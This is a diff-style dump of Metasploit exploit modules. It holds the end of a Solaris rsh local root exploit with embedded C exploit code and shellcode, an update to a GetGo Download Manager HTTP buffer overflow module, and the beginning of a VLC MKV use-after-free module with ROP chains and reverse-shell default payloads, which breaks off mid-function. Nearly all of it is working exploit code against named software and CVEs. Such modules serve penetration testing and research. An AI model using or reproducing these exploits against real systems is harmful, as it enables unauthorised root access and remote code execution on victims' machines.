vprint_error "#{rsh_path} is not setuid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{rsh_path} is setuid"
|
||||
|
||||
unless has_gcc?
|
||||
vprint_error 'gcc is not installed'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'gcc is installed'
|
||||
|
||||
version = kernel_version
|
||||
if version.to_s.eql? ''
|
||||
vprint_error 'Could not determine Solaris version'
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
unless ['11.1', '11.3'].include? version
|
||||
vprint_error "Solaris version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Solaris version #{version} appears to be vulnerable"
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless check == CheckCode::Detected
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
unless writable? datastore['WritableDir']
|
||||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||
end
|
||||
|
||||
if target.name.eql? 'Automatic'
|
||||
case kernel_version
|
||||
when '11.1'
|
||||
my_target = targets[1]
|
||||
arg = 0
|
||||
when '11.3'
|
||||
my_target = targets[2]
|
||||
arg = 1
|
||||
else
|
||||
fail_with Failure::NoTarget, 'Unable to automatically select a target'
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
print_status "Using target: #{my_target.name}"
|
||||
|
||||
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
|
||||
mkdir base_path
|
||||
|
||||
# Solaris_rsh.c by Qualys
|
||||
# modified for Metasploit
|
||||
workers = datastore['WORKERS'].to_i
|
||||
root_shell = 'ROOT'
|
||||
shellcode = '\x31\xc0\x50\x68'
|
||||
shellcode << root_shell
|
||||
shellcode << '\x89\xe3\x50\x53\x89\xe2\x50\x50'
|
||||
shellcode << '\x52\x53\xb0\x3C\x48\x50\xcd\x91'
|
||||
shellcode << '\x31\xc0\x40\x50\x50\xcd\x91Z'
|
||||
exp = <<-EOF
|
||||
/*
|
||||
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/fcntl.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifndef timersub
|
||||
#define timersub(a, b, result) \\
|
||||
do { \\
|
||||
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \\
|
||||
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \\
|
||||
if ((result)->tv_usec < 0) { \\
|
||||
--(result)->tv_sec; \\
|
||||
(result)->tv_usec += 1000000; \\
|
||||
} \\
|
||||
} while (0)
|
||||
#endif
|
||||
|
||||
#define RSH "#{rsh_path}"
|
||||
static const struct target * target;
|
||||
static const struct target {
|
||||
const char * name;
|
||||
size_t s_first, s_last, s_step;
|
||||
size_t l_first, l_last, l_step;
|
||||
size_t p_first, p_last, p_step;
|
||||
size_t a, b;
|
||||
size_t i, j;
|
||||
}
|
||||
targets[] = {
|
||||
{
|
||||
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
|
||||
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
|
||||
.l_first = 192, .l_last = 512, .l_step = 16,
|
||||
.p_first = 0, .p_last = 8192, .p_step = 1,
|
||||
.a = 0, .b = 15, .j = 12,
|
||||
.i = 0x08052608 /* pop edx; pop ebp; ret */
|
||||
},
|
||||
{
|
||||
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
|
||||
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
|
||||
.l_first = 96, .l_last = 512, .l_step = 4,
|
||||
.p_first = 0, .p_last = 4096, .p_step = 4,
|
||||
.a = 0, .b = 3, .j = SIZE_MAX,
|
||||
.i = 0x07faa7ea /* call *0xc(%ebp) */
|
||||
},
|
||||
};
|
||||
|
||||
#define ROOTSHELL "#{root_shell}"
|
||||
static const char shellcode[] = "#{shellcode}";
|
||||
|
||||
static volatile sig_atomic_t sigalarm;
|
||||
|
||||
static void
|
||||
sigalarm_handler(const int signum __attribute__((__unused__)))
|
||||
{
|
||||
sigalarm = 1;
|
||||
}
|
||||
|
||||
#define die() do { \\
|
||||
fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \\
|
||||
exit(EXIT_FAILURE); \\
|
||||
} while (0)
|
||||
|
||||
static int
|
||||
is_suid_root(const char * const file)
|
||||
{
|
||||
if (!file) die();
|
||||
static struct stat sbuf;
|
||||
if (stat(file, &sbuf)) die();
|
||||
if (!S_ISREG(sbuf.st_mode)) die();
|
||||
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
|
||||
}
|
||||
|
||||
static const char *
|
||||
build_lca(const size_t l)
|
||||
{
|
||||
static const size_t shellcode_len = sizeof(shellcode)-1;
|
||||
if (shellcode_len > 64) die();
|
||||
if (shellcode_len % 16) die();
|
||||
if (l < shellcode_len + target->a + target->b) die();
|
||||
|
||||
#define LCA_MAX 4096
|
||||
if (l > LCA_MAX) die();
|
||||
static char lca[128 + LCA_MAX];
|
||||
strcpy(lca, "LC_ALL=");
|
||||
char * cp = memchr(lca, '\\0', sizeof(lca));
|
||||
if (!cp) die();
|
||||
memcpy(cp, shellcode, shellcode_len);
|
||||
cp += shellcode_len;
|
||||
memset(cp, 'a', target->a);
|
||||
|
||||
size_t o;
|
||||
for (o = target->a; l - o >= 4; o += 4) {
|
||||
if ((o - target->a) % 16 == target->j) {
|
||||
cp[o + 0] = '\\xeb';
|
||||
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
|
||||
-(shellcode_len + target->a + target->j + 2);
|
||||
cp[o + 2] = 'j';
|
||||
cp[o + 3] = 'j';
|
||||
} else {
|
||||
if (sizeof(size_t) != 4) die();
|
||||
*(size_t *)(cp + o) = target->i;
|
||||
}
|
||||
}
|
||||
cp += o;
|
||||
memset(cp, 'b', target->b);
|
||||
cp[target->b] = '\\0';
|
||||
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
|
||||
return lca;
|
||||
}
|
||||
|
||||
static const char *
|
||||
build_pad(const size_t p)
|
||||
{
|
||||
#define PAD_MAX 8192
|
||||
if (p > PAD_MAX) die();
|
||||
static char pad[64 + PAD_MAX];
|
||||
strcpy(pad, "P=");
|
||||
char * const cp = memchr(pad, '\\0', sizeof(pad));
|
||||
if (!cp) die();
|
||||
memset(cp, 'p', p);
|
||||
cp[p] = '\\0';
|
||||
if (strlen(pad) != 2 + p) die();
|
||||
return pad;
|
||||
}
|
||||
|
||||
static void
|
||||
fork_worker(const size_t s, const char * const lca, const char * const pad)
|
||||
{
|
||||
#define N_WORKERS #{workers.to_i}
|
||||
static size_t n_workers;
|
||||
static struct {
|
||||
pid_t pid;
|
||||
struct timeval start;
|
||||
} workers[N_WORKERS];
|
||||
|
||||
size_t i_worker;
|
||||
struct timeval start, stop, diff;
|
||||
|
||||
if (n_workers >= N_WORKERS) {
|
||||
if (n_workers != N_WORKERS) die();
|
||||
int is_suid_rootshell = 0;
|
||||
for (;;) {
|
||||
sigalarm = 0;
|
||||
#define TIMEOUT 10
|
||||
alarm(TIMEOUT);
|
||||
int status = 0;
|
||||
const pid_t pid = waitpid(-1, &status, WUNTRACED);
|
||||
alarm(0);
|
||||
if (gettimeofday(&stop, NULL)) die();
|
||||
|
||||
if (pid <= 0) {
|
||||
if (pid != -1) die();
|
||||
if (errno != EINTR) die();
|
||||
if (sigalarm != 1) die();
|
||||
}
|
||||
int found_pid = 0;
|
||||
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
|
||||
const pid_t worker_pid = workers[i_worker].pid;
|
||||
if (worker_pid <= 0) die();
|
||||
if (worker_pid == pid) {
|
||||
if (found_pid) die();
|
||||
found_pid = 1;
|
||||
if (WIFEXITED(status) || WIFSIGNALED(status))
|
||||
workers[i_worker].pid = 0;
|
||||
} else {
|
||||
timersub(&stop, &workers[i_worker].start, &diff);
|
||||
if (diff.tv_sec >= TIMEOUT)
|
||||
if (kill(worker_pid, SIGKILL)) die();
|
||||
}
|
||||
}
|
||||
if (!found_pid) {
|
||||
if (pid != -1) die();
|
||||
continue;
|
||||
}
|
||||
if (WIFEXITED(status)) {
|
||||
if (WEXITSTATUS(status) != EXIT_FAILURE)
|
||||
fprintf(stderr, "exited %d\\n", WEXITSTATUS(status));
|
||||
break;
|
||||
} else if (WIFSIGNALED(status)) {
|
||||
if (WTERMSIG(status) != SIGSEGV)
|
||||
fprintf(stderr, "signal %d\\n", WTERMSIG(status));
|
||||
break;
|
||||
} else if (WIFSTOPPED(status)) {
|
||||
fprintf(stderr, "stopped %d\\n", WSTOPSIG(status));
|
||||
is_suid_rootshell |= is_suid_root(ROOTSHELL);
|
||||
if (kill(pid, SIGKILL)) die();
|
||||
continue;
|
||||
}
|
||||
fprintf(stderr, "unknown %d\\n", status);
|
||||
die();
|
||||
}
|
||||
if (is_suid_rootshell) {
|
||||
system("ls -lL " ROOTSHELL);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
n_workers--;
|
||||
}
|
||||
if (n_workers >= N_WORKERS) die();
|
||||
|
||||
static char rsh_link[64];
|
||||
if (*rsh_link != '/') {
|
||||
const int rsh_fd = open(RSH, O_RDONLY);
|
||||
if (rsh_fd <= STDERR_FILENO) die();
|
||||
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
|
||||
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
|
||||
if (access(rsh_link, R_OK | X_OK)) die();
|
||||
if (*rsh_link != '/') die();
|
||||
}
|
||||
|
||||
static int null_fd = -1;
|
||||
if (null_fd <= -1) {
|
||||
null_fd = open("/dev/null", O_RDWR);
|
||||
if (null_fd <= -1) die();
|
||||
}
|
||||
|
||||
const pid_t pid = fork();
|
||||
if (pid <= -1) die();
|
||||
if (pid == 0) {
|
||||
const struct rlimit stack = { s, s };
|
||||
if (setrlimit(RLIMIT_STACK, &stack)) die();
|
||||
|
||||
if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
|
||||
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
|
||||
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
|
||||
|
||||
static char * const argv[] = { rsh_link, "-?", NULL };
|
||||
char * const envp[] = { (char *)lca, (char *)pad, NULL };
|
||||
execve(*argv, argv, envp);
|
||||
die();
|
||||
}
|
||||
if (gettimeofday(&start, NULL)) die();
|
||||
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
|
||||
const pid_t worker_pid = workers[i_worker].pid;
|
||||
if (worker_pid > 0) continue;
|
||||
if (worker_pid != 0) die();
|
||||
workers[i_worker].pid = pid;
|
||||
workers[i_worker].start = start;
|
||||
n_workers++;
|
||||
return;
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
int main(const int argc, const char * const argv[])
|
||||
{
|
||||
static const struct rlimit core;
|
||||
if (setrlimit(RLIMIT_CORE, &core)) die();
|
||||
|
||||
if (geteuid() == 0) {
|
||||
if (is_suid_root(ROOTSHELL)) {
|
||||
if (setuid(0)) die();
|
||||
if (setgid(0)) die();
|
||||
static char * const argv[] = { "/bin/sh", NULL };
|
||||
execve(*argv, argv, NULL);
|
||||
die();
|
||||
}
|
||||
chown(*argv, 0, 0);
|
||||
chmod(*argv, 04555);
|
||||
for (;;) {
|
||||
raise(SIGSTOP);
|
||||
sleep(1);
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
const size_t i = strtoul(argv[1], NULL, 10);
|
||||
if (i >= sizeof(targets)/sizeof(*targets)) die();
|
||||
target = targets + i;
|
||||
fprintf(stderr, "Target %zu %s\\n", i, target->name);
|
||||
|
||||
if (target->a >= 16) die();
|
||||
if (target->b >= 16) die();
|
||||
if (target->i <= 0) die();
|
||||
if (target->j >= 16 || target->j % 4) {
|
||||
if (target->j != SIZE_MAX) die();
|
||||
}
|
||||
|
||||
static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
|
||||
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
|
||||
|
||||
size_t s;
|
||||
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
|
||||
if (s % target->s_step) die();
|
||||
|
||||
size_t l;
|
||||
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
|
||||
if (l % target->l_step) die();
|
||||
const char * const lca = build_lca(l);
|
||||
fprintf(stdout, "s %zu l %zu\\n", s, l);
|
||||
|
||||
size_t p;
|
||||
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
|
||||
if (p % target->p_step) die();
|
||||
const char * const pad = build_pad(p);
|
||||
fork_worker(s, lca, pad);
|
||||
}
|
||||
}
|
||||
}
|
||||
fprintf(stdout, "Failed\\n");
|
||||
}
|
||||
EOF
|
||||
|
||||
exploit_name = ".#{rand_text_alphanumeric 5..15}"
|
||||
upload_and_compile "#{base_path}/#{exploit_name}", exp
|
||||
symlink "#{base_path}/#{exploit_name}", "#{base_path}/#{root_shell}"
|
||||
|
||||
print_status "Creating suid root shell. This may take a while..."
|
||||
cmd_exec "cd #{base_path}"
|
||||
start = Time.now
|
||||
output = cmd_exec "./#{exploit_name} #{arg}", nil, 1_800
|
||||
stop = Time.now
|
||||
print_status "Completed in #{(stop - start).round(2)}s"
|
||||
unless output.include? 'root'
|
||||
fail_with Failure::Unknown, "Failed to create suid root shell: #{output}"
|
||||
end
|
||||
print_good "suid root shell created: #{base_path}/#{root_shell}"
|
||||
|
||||
payload_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
payload_path = "#{base_path}/#{payload_name}"
|
||||
upload payload_path, payload.encoded
|
||||
cmd_exec "chmod +x '#{payload_path}'"
|
||||
|
||||
print_status 'Executing payload...'
|
||||
cmd_exec "echo #{payload_path} | ./#{root_shell} & echo "
|
||||
end
|
||||
end
|
|
@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability in
|
||||
GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
|
||||
GetGo Download Manager version 5.3.0.2712 earlier, caused by an
|
||||
overly long HTTP response header.
|
||||
|
||||
By persuading the victim to download a file from a malicious server, a
|
||||
|
@ -26,7 +26,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Julien Ahrens', # Vulnerability discovery
|
||||
'Gabor Seljan' # Metasploit module
|
||||
'Gabor Seljan', # Metasploit module for v4
|
||||
'bzyo', # Metasploit module for v5
|
||||
'sinn3r' # Helping Gabor and bzyo (see #4588 & #9642)
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -42,16 +44,33 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0a\x0d",
|
||||
'Space' => 2000
|
||||
# v5 has no bad chars
|
||||
'BadChars' => "\x00\x0a\x0d"
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3',
|
||||
[
|
||||
'Automatic', {}
|
||||
],
|
||||
[ '4.9.0.1982 on Windows XP SP3',
|
||||
{
|
||||
'Offset' => 4107,
|
||||
'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
|
||||
}
|
||||
],
|
||||
[
|
||||
'5.3.0.2712 on Windows XP SP3',
|
||||
{
|
||||
'Offset' => 4095,
|
||||
# 0:016> u 0x72d11f39
|
||||
# msacm32!wodMessage+0xd0f:
|
||||
# 72d11f39 5f pop edi
|
||||
# 72d11f3a 5e pop esi
|
||||
# 72d11f3b c20400 ret 4
|
||||
'Ret' => 0x72d11f39,
|
||||
# 12253 is the same size the python PoC used
|
||||
'MaxSize' => 12253
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
|
@ -59,102 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
# Handle the HTTP request and return a response.
|
||||
# Code borrowed from: msf/core/exploit/http/server.rb
|
||||
#
|
||||
def start_http(opts={})
|
||||
# Ensture all dependencies are present before initializing HTTP
|
||||
use_zlib
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Default the server host / port
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
'ServerPort' => datastore['HTTPPORT'],
|
||||
'Comm' => comm
|
||||
}.update(opts)
|
||||
|
||||
# Start a new HTTP server
|
||||
@http_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
},
|
||||
opts['Comm'],
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
@http_service.server_name = datastore['HTTP::server_name']
|
||||
|
||||
# Default the procedure of the URI to on_request_uri if one isn't
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
|
||||
# As long as we have the http_service object, we will keep the server alive
|
||||
while @http_service
|
||||
select(nil, nil, nil, 1)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Kill HTTP/FTP (shut them down and clear resources)
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
stop_service
|
||||
|
||||
begin
|
||||
@http_service.remove_resource(datastore['URIPATH'])
|
||||
@http_service.deref
|
||||
@http_service.stop
|
||||
@http_service.close
|
||||
@http_service = nil
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
print_status("Client connected...")
|
||||
|
||||
unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
|
||||
print_error("Sending 404 for unknown user-agent")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
sploit = rand_text_alpha(target['Offset'])
|
||||
# This part is from Gabor Seljan
|
||||
def exploit_v4(cli, current_taget)
|
||||
sploit = rand_text_alpha(current_taget['Offset'])
|
||||
sploit << "\x90\x90\xEB\x06"
|
||||
sploit << [target.ret].pack('V')
|
||||
sploit << [current_taget.ret].pack('V')
|
||||
sploit << payload.encoded
|
||||
|
||||
print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
|
||||
|
@ -162,8 +90,36 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
resp = create_response(200, sploit)
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
close_client(cli)
|
||||
# This part is from Auxilus with some help from @_sinn3r
|
||||
def exploit_v5(cli, current_taget)
|
||||
seh_record = generate_seh_record(current_taget.ret)
|
||||
# Minus 4 for the SEH record
|
||||
buffer = Rex::Text.rand_text_alpha(current_taget['Offset'] - 4)
|
||||
buffer << seh_record
|
||||
buffer << payload.encoded
|
||||
buffer << Rex::Text.rand_text_alpha(current_taget['MaxSize'] - buffer.length)
|
||||
res = create_response(200, buffer)
|
||||
cli.send_response(res)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("#{cli.peerhost} connected")
|
||||
current_target = target
|
||||
user_agent = request.headers['User-Agent'].to_s
|
||||
|
||||
if current_target == targets[1] || user_agent.match(/GetGo Download Manager 4\.0/)
|
||||
print_status('Attempting to exploit against v4')
|
||||
current_target = targets[1]
|
||||
exploit_v4(cli, current_target)
|
||||
elsif current_target == targets[2] || user_agent.match(/GetGo Download Manager 5\.0/)
|
||||
print_status('Attempting to exploit against v5')
|
||||
current_target = targets[2]
|
||||
exploit_v5(cli, current_target)
|
||||
else
|
||||
print_error('Sending 404 for unknown user-agent')
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,306 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VLC Media Player MKV Use After Free',
|
||||
'Description' => %q(
|
||||
This module exploits a use after free vulnerability in
|
||||
VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
|
||||
MKV files and affects both 32 bits and 64 bits.
|
||||
|
||||
In order to exploit this, this module will generate two files:
|
||||
The first .mkv file contains the main vulnerability and heap spray,
|
||||
the second .mkv file is required in order to take the vulnerable code
|
||||
path and should be placed under the same directory as the .mkv file.
|
||||
|
||||
This module has been tested against VLC v2.2.8. Tested with payloads
|
||||
windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
|
||||
windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
|
||||
cause the application to crash instead.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit
|
||||
'Winston Ho - GovTech', # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-11529'],
|
||||
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
|
||||
['EDB', '44979']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x300,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
[
|
||||
'VLC 2.2.8 on Windows 10 x86',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86],
|
||||
'Ret' => 0x22000020,
|
||||
'ExitPointer' => 0x00411364,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
|
||||
'RopChain' => [
|
||||
0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
|
||||
0x00407086, # POP EDI # RETN [vlc.exe]
|
||||
0x00000040, # 0x00000040-> edx
|
||||
0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
|
||||
0x41414141, # Filler (compensate)
|
||||
0x41414141, # Filler (compensate)
|
||||
0x41414141, # Filler (compensate)
|
||||
0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]
|
||||
0x22000030, # Filler (compensate) for rol [eax] below
|
||||
0x41414141, # Filler (compensate)
|
||||
0x004039c8, # POP ECX # RETN [vlc.exe]
|
||||
0x0041193d, # &Writable location [vlc.exe]
|
||||
0x00409d18, # POP EBX # RETN [vlc.exe]
|
||||
0x00000201, # 0x00000201-> ebx
|
||||
0x0040a623, # POP EBP # RETN [vlc.exe]
|
||||
0x0040a623, # POP EBP # RETN [vlc.exe]
|
||||
0x004036CB, # POP ESI # RETN [vlc.exe]
|
||||
0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
|
||||
0x00407086, # POP EDI # RETN [vlc.exe]
|
||||
0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
|
||||
0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
|
||||
0x22000020 + 0x5e0, # Shellcode
|
||||
]
|
||||
}
|
||||
],
|
||||
[
|
||||
'VLC 2.2.8 on Windows 10 x64',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X64],
|
||||
'Ret' => 0x40000040,
|
||||
'ExitPointer' => 0x00412680,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
|
||||
'RopChain' => [
|
||||
0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
|
||||
0x00403b60, # POP RCX # RET
|
||||
0x40000040, # lpAddress
|
||||
0x004011c2, # POP RDX # RET
|
||||
0x00001000, # dwSize
|
||||
0x0040ab70, # JMP VirtualProtect
|
||||
0x40000040 + 0x700, # Payload
|
||||
]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'May 24 2018',
|
||||
'DefaultTarget' => 1))
|
||||
|
||||
register_options [
|
||||
OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
|
||||
OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
|
||||
]
|
||||
|
||||
deregister_options('FILENAME')
|
||||
end
|
||||
|
||||
def to_bytes(num, length, endianess = 'big')
|
||||
h = format('%<num>x', num: num)
|
||||
s = ('0' * (h.length % 2) + h).rjust(length * 2)
|
||||
s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
|
||||
endianess == 'big' ? s : s.reverse
|
||||
end
|
||||
|
||||
def data_size(number, numbytes = (1...9))
|
||||
# encode 'number' as an EBML variable-size integer.
|
||||
numbytes = [numbytes] if numbytes.is_a?(Integer)
|
||||
numbytes.each do |size|
|
||||
bits = size * 7
|
||||
return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
|
||||
end
|
||||
fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
|
||||
end
|
||||
|
||||
def build_data(size)
|
||||
block_size = 0x1000
|
||||
|
||||
if target.arch.first == ARCH_X64
|
||||
target_address_packed = [target.ret].pack("<Q")
|
||||
rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join
|
||||
|
||||
if size == 0x180
|
||||
uaf_object = "\x41" * size
|
||||
uaf_object[0x30, 8] = target_address_packed
|
||||
uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")
|
||||
uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")
|
||||
uaf_object[0x170, 8] = target_address_packed
|
||||
return uaf_object
|
||||
else
|
||||
block = "\x00" * block_size
|
||||
block[0x0, 4] = "\x41" * 4
|
||||
block[0x8, target_address_packed.length] = target_address_packed
|
||||
block[0x10, target_address_packed.length] = target_address_packed
|
||||
|
||||
block[0x40, 8] = [0x1].pack("<Q")
|
||||
block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")
|
||||
block[0xE4, 8] = [0x1].pack("<Q")
|
||||
|
||||
block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")
|
||||
block[0x3b8, rop_chain.length] = rop_chain
|
||||
|
||||
block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")
|
||||
block[0x700, payload.encoded.length] = payload.encoded
|
||||
|
||||
block *= size / block.length + 1
|
||||
end
|
||||
return block[0, size]
|
||||
elsif target.arch.first == ARCH_X86
|
||||
target_address_packed = [target.ret].pack("<I")
|
||||
rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join
|
||||
|
||||
if size == 0x100
|
||||
uaf_object = "\x41" * size
|
||||
uaf_object[0x28, 4] = target_address_packed
|
||||
uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")
|
||||
uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")
|
||||
uaf_object[0xf8, 4] = target_address_packed
|
||||
return uaf_object
|
||||
else
|
||||
block = "\x00" * block_size
|
||||
block[0x0, 4] = [0x22000040].pack("<I")
|
||||
block[0x4, target_address_packed.length] = target_address_packed
|
||||
block[0x8, target_address_packed.length] = target_address_packed
|
||||
|
||||
block[0x10, 4] = [0xc85].pack("<I")
|
||||
block[0x30, 4] = [0x1].pack("<I")
|
||||
